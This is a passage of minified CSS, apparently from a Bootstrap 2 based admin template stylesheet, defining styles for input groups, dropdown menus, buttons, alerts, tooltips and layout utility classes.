.add-on:first-child,.input-prepend
.btn:first-child{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0
0 4px;border-radius:4px 0 0 4px}.input-append .uneditable-input+.btn-group
.btn:last-child,.input-append input+.btn-group
.btn:last-child,.input-append select+.btn-group
.btn:last-child{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px
4px 0;border-radius:0 4px 4px 0}.input-append .add-on,.input-append
.btn,.input-append .btn-group{margin-left:-1px}.input-append
.add-on:last-child,.input-append
.btn-group:last-child>.dropdown-toggle,.input-append
.btn:last-child{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px
4px 0;border-radius:0 4px 4px 0}.input-prepend.input-append
.uneditable-input,.input-prepend.input-append
input,.input-prepend.input-append
select{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.input-prepend.input-append
.uneditable-input+.btn-group .btn,.input-prepend.input-append
input+.btn-group .btn,.input-prepend.input-append select+.btn-group
.btn{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px
0;border-radius:0 4px 4px 0}.input-prepend.input-append
.add-on:first-child,.input-prepend.input-append
.btn:first-child{margin-right:-1px;-webkit-border-radius:4px 0 0
4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0
4px}.input-prepend.input-append
.add-on:last-child,.input-prepend.input-append
.btn:last-child{margin-left:-1px;-webkit-border-radius:0 4px 4px
0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px
0}.input-prepend.input-append
.btn-group:first-child{margin-left:0}input.search-query{padding-right:14px;padding-right:4px\9;padding-left:14px;padding-left:4px\9;margin-bottom:0;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.form-search
.input-append .search-query{-webkit-border-radius:14px 0 0
14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0
14px}.form-search .input-append .btn,.form-search .input-prepend
.search-query{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px
14px 0;border-radius:0 14px 14px 0}.form-search .input-prepend
.btn{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0
14px;border-radius:14px 0 0 14px}.js-stools-field-filter
.input-append,.js-stools-field-filter
.input-prepend{margin-bottom:0}.form-horizontal
.help-inline,.form-horizontal .input-append,.form-horizontal
.input-prepend,.form-horizontal .uneditable-input,.form-horizontal
input,.form-horizontal select,.form-horizontal textarea,.form-inline
.help-inline,.form-inline .input-append,.form-inline
.input-prepend,.form-inline .uneditable-input,.form-inline
input,.form-inline select,.form-inline textarea,.form-search
.help-inline,.form-search .input-append,.form-search
.input-prepend,.form-search .uneditable-input,.form-search
input,.form-search select,.form-search
textarea{display:inline-block;*display:inline;*zoom:1;margin-bottom:0;vertical-align:middle}.form-horizontal
.hide,.form-inline .hide,.form-search .hide{display:none}.form-inline
.btn-group,.form-inline label,.form-search .btn-group,.form-search
label{display:inline-block}.form-inline .input-append,.form-inline
.input-prepend,.form-search .input-append,.form-search
.input-prepend{margin-bottom:0}.form-inline .checkbox,.form-inline
.radio,.form-search .checkbox,.form-search
.radio{padding-left:0;margin-bottom:0;vertical-align:middle}.btn-toolbar,.control-group{margin-bottom:10px}.caret,.input-append>.add-on,.input-prepend>.add-on{vertical-align:top}.form-inline
.checkbox input[type=checkbox],.form-inline .radio
input[type=radio],.form-search .checkbox input[type=checkbox],.form-search
.radio
input[type=radio]{float:left;margin-right:3px;margin-left:0}legend+.control-group{margin-top:20px;-webkit-margin-top-collapse:separate}.btn-toolbar,.form-horizontal
.input-append+.help-block,.form-horizontal
.input-prepend+.help-block,.form-horizontal
.uneditable-input+.help-block,.form-horizontal
input+.help-block,.form-horizontal select+.help-block,.form-horizontal
textarea+.help-block{margin-top:10px}.form-horizontal
.control-group{margin-bottom:20px;*zoom:1}.form-horizontal
.control-group:after,.form-horizontal
.control-group:before{display:table;content:"";line-height:0}.alert
.close,.alert-options,.btn,.close,.dropdown-menu>li>a{line-height:20px}.form-horizontal
.control-label{float:left;width:160px;padding-top:5px;text-align:right}.form-horizontal
.controls{*display:inline-block;*padding-left:20px;margin-left:180px;*margin-left:0}.form-horizontal
.controls:first-child{*padding-left:180px}.form-horizontal
.help-block{margin-bottom:0}.form-horizontal
.form-actions{padding-left:180px}.control-label .hasPopover,.control-label
.hasTooltip{display:inline-block}.subform-repeatable-wrapper
.btn-group>.btn.button{min-width:0}.subform-repeatable-wrapper
.ui-sortable-helper{background:#fff}.subform-repeatable-wrapper
tr.ui-sortable-helper{display:table}@media (min-width:980px) and
(max-width:1215px){.float-cols .control-label{float:none}.float-cols
.controls{margin-left:0}}.dropdown,.dropup{position:relative}.dropdown-toggle{*margin-bottom:-3px}.dropdown-toggle:active,.open
.dropdown-toggle{outline:0}.caret{display:inline-block;width:0;height:0;border-top:4px
solid #000;border-right:4px solid transparent;border-left:4px solid
transparent;content:""}.dropdown
.caret{margin-top:8px;margin-left:2px}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px
0;margin:2px 0 0;list-style:none;background-color:#fff;border:1px solid
#ccc;border:1px solid
rgba(0,0,0,.2);*border-right-width:2px;*border-bottom-width:2px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0
5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px
rgba(0,0,0,.2);box-shadow:0 5px 10px
rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu
.divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0
5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid
#fff}.dropdown-menu .menuitem-group{margin:4px
1px;overflow:hidden;border-top:1px solid #eee;border-bottom:1px solid
#eee;background-color:#eee;color:#555;text-transform:capitalize;font-size:95%;padding:3px
20px}.dropdown-menu>li>a{display:block;padding:3px
20px;font-weight:400;color:#333;white-space:nowrap}.alert-link,.close,.invalid{font-weight:700}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover,.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover,.dropdown-submenu:focus>a,.dropdown-submenu:hover>a{color:#fff;background-color:#0081c2;background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc',
endColorstr='#ff0077b3',
GradientType=0);text-decoration:none}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover,.dropdown-submenu:focus>a,.dropdown-submenu:hover>a{background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0
0,0
100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-image:linear-gradient(to
bottom,#08c,#0077b3)}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{outline:0;background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0
0,0
100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-image:linear-gradient(to
bottom,#08c,#0077b3)}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#999}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);cursor:default}.open{*z-index:1000}.open>.dropdown-menu{display:block}.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.alert
.close,.btn-group,.btn-group>.btn,.collapse,.dropdown-submenu{position:relative}.pull-right>.dropdown-menu{right:0;left:auto}.dropup
.caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px
solid #000;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom
.dropdown
.dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}.dropdown-submenu>.dropdown-menu{top:0;left:100%;margin-top:-6px;margin-left:-1px;-webkit-border-radius:6px
6px 6px
6px;-moz-border-radius:6px;border-radius:6px}.dropdown-submenu:hover>.dropdown-menu{display:block}.dropup
.dropdown-submenu>.dropdown-menu{top:auto;bottom:0;margin-top:0;margin-bottom:-2px;-webkit-border-radius:5px
5px 5px 0;-moz-border-radius:5px 5px 5px 0;border-radius:5px 5px 5px
0}.dropdown-submenu>a:after{display:block;content:"
";float:right;width:0;height:0;border-color:transparent transparent
transparent #ccc;border-style:solid;border-width:5px 0 5px
5px;margin-top:5px;margin-right:-10px}.btn,.btn-group{display:inline-block;*zoom:1}.btn-block,input[type=submit].btn-block,input[type=reset].btn-block,input[type=button].btn-block{width:100%}.dropdown-submenu:hover>a:after{border-left-color:#fff}.dropdown-submenu.pull-left{float:none}.alert-options,.close,.pull-right{float:right}.dropdown-submenu.pull-left>.dropdown-menu{left:-100%;margin-left:10px;-webkit-border-radius:6px
0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px
6px}.dropdown .dropdown-menu
.nav-header{padding-left:20px;padding-right:20px}.typeahead{z-index:1051;margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px
solid
#e3e3e3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset
0 1px 1px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 1px
rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well
blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.btn-small,.well-small{-webkit-border-radius:3px;-moz-border-radius:3px}.well-small{padding:9px;border-radius:3px}.fade{opacity:0;-webkit-transition:opacity
.15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s
linear;transition:opacity .15s
linear}.fade.in,.tooltip.hasimage{opacity:1}.collapse{height:0;overflow:hidden;-webkit-transition:height
.35s ease;-moz-transition:height .35s ease;-o-transition:height .35s
ease;transition:height .35s
ease}.collapse.in{height:auto}.close{font-size:20px;color:#000;text-shadow:0
1px 0
#fff;opacity:.2;filter:alpha(opacity=20)}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}button.close{padding:3;cursor:pointer;background:0
0;border:0;-webkit-appearance:none}.alert-options{color:#000;text-shadow:0
1px 0
#fff;opacity:.2;filter:alpha(opacity=20)}.alert-options:focus,.alert-options:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.btn{*display:inline;padding:4px
12px;margin-bottom:0;font-size:14px;text-align:center;vertical-align:middle;cursor:pointer;color:#333;text-shadow:0
1px 1px
rgba(255,255,255,.75);background-color:#f5f5f5;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0
0,0
100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(to
bottom,#fff,#e6e6e6);background-repeat:repeat-x;*background-color:#e6e6e6;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);border:1px
solid
#ccc;*border:0;border-bottom-color:#b3b3b3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;*margin-left:.3em;-webkit-box-shadow:inset
0 1px 0 rgba(255,255,255,.2),0 1px 2px
rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px
2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px
rgba(0,0,0,.05)}.btn-danger,.btn-info,.btn-inverse,.btn-primary,.btn-success,.btn-warning{text-shadow:0
-1px 0
rgba(0,0,0,.25);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.btn-group.open
.dropdown-toggle,.btn.active,.btn:active{-webkit-box-shadow:inset 0 2px 4px
rgba(0,0,0,.15),0 1px 2px
rgba(0,0,0,.05)}.btn.active,.btn.disabled,.btn:active,.btn:focus,.btn:hover,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:first-child{*margin-left:0}.btn:focus,.btn:hover{color:#333;text-decoration:none;background-position:0
-15px;-webkit-transition:background-position .1s
linear;-moz-transition:background-position .1s
linear;-o-transition:background-position .1s
linear;transition:background-position .1s linear}.btn:focus{outline:#333
dotted thin;outline:-webkit-focus-ring-color auto
5px;outline-offset:-2px}.btn.active,.btn:active{background-color:#ccc\9;background-image:none;outline:0;-moz-box-shadow:inset
0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px
4px rgba(0,0,0,.15),0 1px 2px
rgba(0,0,0,.05)}.btn.disabled,.btn[disabled]{cursor:default;background-image:none;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.accordion-toggle,.alert
.close,.btn-link{cursor:pointer}.btn-large{padding:11px
19px;font-size:17.5px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.btn-large
[class*=" icon-"],.btn-large
[class^=icon-]{margin-top:4px}.btn-small{padding:2px
10px;font-size:11.9px;border-radius:3px}.btn-small [class*="
icon-"],.btn-small [class^=icon-]{margin-top:0}.btn-mini
[class*=" icon-"],.btn-mini
[class^=icon-]{margin-top:-1px}.btn-mini{padding:0
6px;font-size:10.5px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.btn-block{display:block;padding-left:0;padding-right:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.btn-block+.btn-block{margin-top:5px}.btn-danger.active,.btn-info.active,.btn-inverse.active,.btn-primary.active,.btn-success.active,.btn-warning.active{color:rgba(255,255,255,.75)}.btn-primary{color:#fff;background-color:#006dcc;background-image:-moz-linear-gradient(top,#08c,#04c);background-image:-webkit-gradient(linear,0
0,0
100%,from(#08c),to(#04c));background-image:-webkit-linear-gradient(top,#08c,#04c);background-image:-o-linear-gradient(top,#08c,#04c);background-image:linear-gradient(to
bottom,#08c,#04c);border-color:#04c #04c
#002a80;*background-color:#04c}.btn-primary.active,.btn-primary.disabled,.btn-primary:active,.btn-primary:focus,.btn-primary:hover,.btn-primary[disabled]{color:#fff;background-color:#04c;*background-color:#003bb3}.btn-primary.active,.btn-primary:active{background-color:#039\9}.btn-warning{color:#fff;background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0
0,0
100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(to
bottom,#fbb450,#f89406);border-color:#f89406 #f89406
#ad6704;*background-color:#f89406}.btn-warning.active,.btn-warning.disabled,.btn-warning:active,.btn-warning:focus,.btn-warning:hover,.btn-warning[disabled]{color:#fff;background-color:#f89406;*background-color:#df8505}.btn-warning.active,.btn-warning:active{background-color:#c67605\9}.btn-danger{color:#fff;background-color:#da4f49;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0
0,0
100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(to
bottom,#ee5f5b,#bd362f);border-color:#bd362f #bd362f
#802420;*background-color:#bd362f}.btn-danger.active,.btn-danger.disabled,.btn-danger:active,.btn-danger:focus,.btn-danger:hover,.btn-danger[disabled]{color:#fff;background-color:#bd362f;*background-color:#a9302a}.btn-danger.active,.btn-danger:active{background-color:#942a25\9}.btn-success{color:#fff;background-color:#5bb75b;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0
0,0
100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(to
bottom,#62c462,#51a351);border-color:#51a351 #51a351
#387038;*background-color:#51a351}.btn-success.active,.btn-success.disabled,.btn-success:active,.btn-success:focus,.btn-success:hover,.btn-success[disabled]{color:#fff;background-color:#51a351;*background-color:#499249}.btn-success.active,.btn-success:active{background-color:#408140\9}.btn-info{color:#fff;background-color:#49afcd;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0
0,0
100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(to
bottom,#5bc0de,#2f96b4);border-color:#2f96b4 #2f96b4
#1f6377;*background-color:#2f96b4}.btn-info.active,.btn-info.disabled,.btn-info:active,.btn-info:focus,.btn-info:hover,.btn-info[disabled]{color:#fff;background-color:#2f96b4;*background-color:#2a85a0}.btn-info.active,.btn-info:active{background-color:#24748c\9}.btn-inverse{color:#fff;background-color:#363636;background-image:-moz-linear-gradient(top,#444,#222);background-image:-webkit-gradient(linear,0
0,0
100%,from(#444),to(#222));background-image:-webkit-linear-gradient(top,#444,#222);background-image:-o-linear-gradient(top,#444,#222);background-image:linear-gradient(to
bottom,#444,#222);border-color:#222 #222
#000;*background-color:#222}.btn-inverse.active,.btn-inverse.disabled,.btn-inverse:active,.btn-inverse:focus,.btn-inverse:hover,.btn-inverse[disabled]{color:#fff;background-color:#222;*background-color:#151515}.btn-inverse.active,.btn-inverse:active{background-color:#080808\9}button.btn,input[type=submit].btn{*padding-top:3px;*padding-bottom:3px}button.btn::-moz-focus-inner,input[type=submit].btn::-moz-focus-inner{padding:0;border:0}.btn-group>.btn,.btn-link{-webkit-border-radius:0;-moz-border-radius:0}button.btn.btn-large,input[type=submit].btn.btn-large{*padding-top:7px;*padding-bottom:7px}button.btn.btn-small,input[type=submit].btn.btn-small{*padding-top:3px;*padding-bottom:3px}button.btn.btn-mini,input[type=submit].btn.btn-mini{*padding-top:1px;*padding-bottom:1px}.btn-link,.btn-link:active,.btn-link[disabled]{background-color:transparent;background-image:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.btn-group>.btn+.dropdown-backdrop+.dropdown-toggle,.btn-group>.btn+.dropdown-toggle{-moz-box-shadow:inset
1px 0 0 rgba(255,255,255,.125),inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px
rgba(0,0,0,.05)}.btn-link{border-color:transparent;color:#08c;border-radius:0}.btn-link:focus,.btn-link:hover{color:#005580;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover{color:#333;text-decoration:none}.btn-group{*display:inline;font-size:0;vertical-align:middle;white-space:nowrap;*margin-left:.3em}.btn-group:first-child{*margin-left:0}.btn-group+.btn-group{margin-left:5px}.btn-toolbar{font-size:0}.accordion,.alert{margin-bottom:20px}.btn-toolbar>.btn+.btn,.btn-toolbar>.btn+.btn-group,.btn-toolbar>.btn-group+.btn{margin-left:5px}.btn-group>.btn{border-radius:0}.btn-group>.btn+.btn{margin-left:-1px}.btn-group>.btn,.btn-group>.dropdown-menu,.btn-group>.popover{font-size:14px}.btn-group>.btn-mini{font-size:10.5px}.btn-group>.btn-small{font-size:11.9px}.btn-group>.btn-large{font-size:17.5px}.small,.tooltip{font-size:11px}.btn-group>.btn:first-child{margin-left:0;-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px}.btn-group>.btn:last-child,.btn-group>.dropdown-toggle{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px}.btn-group>.btn.large:first-child{margin-left:0;-webkit-border-top-left-radius:6px;-moz-border-radius-topleft:6px;border-top-left-radius:6px;-webkit-border-bottom-left-radius:6px;-moz-border-radius-bottomleft:6px;border-bottom-left-radius:6px}.btn-group>.btn.large:last-child,.btn-group>.large.dropdown-toggle{-webkit-border-top-right-radius:6px;-moz-border-radius-topright:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;-moz-border-radius-bottomright:6px;border-bottom-right-radius:6px}.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group
.dropdown-toggle:active,.btn-group.open
.dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-left:8px;padding-right:8px;-webkit-box-shadow:inset
1px 0 0 rgba(255,255,255,.125),inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px
rgba(0,0,0,.05);box-shadow:inset 1px 0 0 rgba(255,255,255,.125),inset 0 1px
0 rgba(255,255,255,.2),0 1px 2px
rgba(0,0,0,.05);*padding-top:5px;*padding-bottom:5px}.btn-group>.btn-mini+.dropdown-toggle{padding-left:5px;padding-right:5px;*padding-top:2px;*padding-bottom:2px}.btn-group>.btn-small+.dropdown-toggle{*padding-top:5px;*padding-bottom:4px}.btn-group>.btn-large+.dropdown-toggle{padding-left:12px;padding-right:12px;*padding-top:7px;*padding-bottom:7px}.btn-group.open
.dropdown-toggle{background-image:none;-moz-box-shadow:inset 0 2px 4px
rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px
rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05)}.btn-group.open
.btn.dropdown-toggle{background-color:#e6e6e6}.btn-group.open
.btn-primary.dropdown-toggle{background-color:#04c}.btn-group.open
.btn-warning.dropdown-toggle{background-color:#f89406}.btn-group.open
.btn-danger.dropdown-toggle{background-color:#bd362f}.btn-group.open
.btn-success.dropdown-toggle{background-color:#51a351}.btn-group.open
.btn-info.dropdown-toggle{background-color:#2f96b4}.btn-group.open
.btn-inverse.dropdown-toggle{background-color:#222}.btn
.caret{margin-top:8px;margin-left:0}.btn-large
.caret{margin-top:6px;border-left-width:5px;border-right-width:5px;border-top-width:5px}.btn-mini
.caret,.btn-small .caret{margin-top:8px}.dropup .btn-large
.caret{border-bottom-width:5px}.btn-danger .caret,.btn-info
.caret,.btn-inverse .caret,.btn-primary .caret,.btn-success
.caret,.btn-warning
.caret{border-top-color:#fff;border-bottom-color:#fff}.btn-group-vertical{display:inline-block;*display:inline;*zoom:1}.btn-group-vertical>.btn{display:block;float:none;max-width:100%;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.btn-group-vertical>.btn+.btn{margin-left:0;margin-top:-1px}.btn-group-vertical>.btn:first-child{-webkit-border-radius:4px
4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0
0}.btn-group-vertical>.btn:last-child{-webkit-border-radius:0 0 4px
4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px
4px}.btn-group-vertical>.btn-large:first-child{-webkit-border-radius:6px
6px 0 0;-moz-border-radius:6px 6px 0 0;border-radius:6px 6px 0
0}.btn-group-vertical>.btn-large:last-child{-webkit-border-radius:0 0
6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px
6px}.alert{padding:8px 35px 8px 14px;text-shadow:0 1px 0
rgba(255,255,255,.5);background-color:#fcf8e3;border:1px solid
#fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.alert,.alert
h4{color:#c09853}.alert h4{margin:0 0
.5em}.alert-block>p,.alert-block>ul,div.rl_multiselect{margin-bottom:0}.alert
.close{top:-2px;right:-21px}.alert-success{background-color:#dff0d8;border-color:#d6e9c6;color:#468847}.alert-success
h4{color:#468847}.alert-danger,.alert-error{background-color:#f2dede;border-color:#eed3d7;color:#b94a48}.alert-danger
h4,.alert-error h4{color:#b94a48}.alert-info,.alert-info
h4{color:#3a87ad}.alert-info{background-color:#d9edf7;border-color:#bce8f1}.alert-block{padding-top:14px;padding-bottom:14px}.alert-block
p+p{margin-top:5px}.tooltip{position:absolute;z-index:1030;display:block;visibility:visible;line-height:1.4;opacity:0;filter:alpha(opacity=0)}.invisible,.row-fluid
.row-reveal{visibility:hidden}.tooltip.in{opacity:.8;filter:alpha(opacity=80)}.tooltip.top{margin-top:-3px;padding:5px
0}.tooltip.right{margin-left:3px;padding:0
5px}.tooltip.bottom{margin-top:3px;padding:5px
0}.tooltip.left{margin-left:-3px;padding:0
5px}.tooltip-inner{padding:8px;color:#fff;text-decoration:none;background-color:#000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.row-odd,a.disabled,a.disabled:hover{background-color:transparent}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top
.tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px
0;border-top-color:#000}.tooltip.right
.tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px
0;border-right-color:#000}.tooltip.left
.tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px
5px;border-left-color:#000}.tooltip.bottom
.tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px
5px;border-bottom-color:#000}.accordion-group{margin-bottom:2px;border:1px
solid
#e5e5e5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.accordion-heading{border-bottom:0}.accordion-heading
.accordion-toggle{display:block;padding:8px
15px}.accordion-inner{padding:9px 15px;border-top:1px solid
#e5e5e5}.pull-left{float:left}.hide{display:none}.show{display:block}.affix{position:fixed}iframe,svg{max-width:100%}.nowrap{white-space:nowrap}.center,.table
td.center,.table
th.center{text-align:center}a.disabled,a.disabled:hover{color:#999;cursor:default;text-decoration:none}.hero-unit{text-align:center}.hero-unit
.lead{margin-bottom:18px;font-size:20px;font-weight:200;line-height:27px}.btn
.caret{margin-bottom:7px}.btn.btn-micro .caret{margin:5px
0}body.modal{padding-top:0}.row-even,.row-odd{padding:5px;width:99%;border-bottom:1px
solid #ddd}.row-even{background-color:#f9f9f9}.row-fluid:hover
.row-reveal{visibility:visible}.btn-wide{width:80%}.nav-list>li.offset>a{padding-left:30px;font-size:12px}.blog-item-rule,.blog-row-rule{border:0}.row-fluid
.offset1{margin-left:8.38297872%}.row-fluid
.offset2{margin-left:16.89361702%}.row-fluid
.offset3{margin-left:25.40425532%}.row-fluid
.offset4{margin-left:33.91489361%}.row-fluid
.offset5{margin-left:42.42553191%}.row-fluid
.offset6{margin-left:50.93617021%}.row-fluid
.offset7{margin-left:59.4468085%}.row-fluid
.offset8{margin-left:67.9574468%}.row-fluid
.offset9{margin-left:76.4680851%}.row-fluid
.offset10{margin-left:84.9787234%}.row-fluid
.offset11{margin-left:91.48936169%}.navbar .nav>li>a.btn{padding:4px
10px;line-height:18px}.nav-tabs.nav-dark{border-bottom:1px solid
#333;text-shadow:1px 1px 1px
#000}.nav-tabs.nav-dark>li>a{color:#F8F8F8}.nav-tabs.nav-dark>li>a:hover{border-color:#333
#333
#111;background-color:#777}.nav-tabs.nav-dark>.active>a,.nav-tabs.nav-dark>.active>a:hover{color:#fff;background-color:#555;border:1px
solid #222;border-bottom-color:transparent}.thumbnail.pull-left{margin:0
10px 10px 0}.thumbnail.pull-right{margin:0 0 10px
10px}.width-10{width:10px}.width-20{width:20px}.width-30{width:30px}.width-40{width:40px}.width-50{width:50px}.width-60{width:60px}.width-70{width:70px}.width-80{width:80px}.width-90{width:90px}.width-100{width:100px}.height-10{height:10px}.height-20{height:20px}.height-30{height:30px}.height-40{height:40px}.height-50{height:50px}.height-60{height:60px}.height-70{height:70px}.height-80{height:80px}.height-90{height:90px}.height-100{height:100px}hr.hr-condensed{margin:10px
0}.list-striped,.row-striped{list-style:none;line-height:18px;text-align:left;vertical-align:middle;border-top:1px
solid #ddd;margin-left:0}.list-striped dd,.list-striped li,.row-striped
.row,.row-striped .row-fluid{border-bottom:1px solid
#ddd;padding:8px}.list-striped dd:nth-child(odd),.list-striped
li:nth-child(odd),.row-striped .row-fluid:nth-child(odd),.row-striped
.row:nth-child(odd){background-color:#f9f9f9}.list-striped
dd:hover,.list-striped li:hover,.row-striped .row-fluid:hover,.row-striped
.row:hover{background-color:#f5f5f5}.row-striped
.row-fluid{width:100%;box-sizing:border-box}.row-striped .row-fluid
[class*=span]{min-height:10px;margin-left:8px}.row-striped .row-fluid
[class*=span]:first-child{margin-left:0}.list-condensed li,.row-condensed
.row,.row-condensed .row-fluid{padding:4px
5px}.list-bordered,.row-bordered{list-style:none;line-height:18px;text-align:left;vertical-align:middle;margin-left:0;border:1px
solid
#ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.radio.btn-group
input[type=radio]{display:none}.radio.btn-group>label{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.radio.btn-group>label:first-of-type{margin-left:0;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px}fieldset.radio.btn-group{padding-left:0}.iframe-bordered{border:1px
solid #ddd}.tab-content{overflow:visible}.tabs-left
.tab-content{overflow:auto}.nav-tabs>li>span{display:block;margin-right:2px;line-height:18px;border:1px
solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px
4px 0 0;border-radius:4px 4px 0 0;padding:8px 12px}.btn-micro{padding:1px
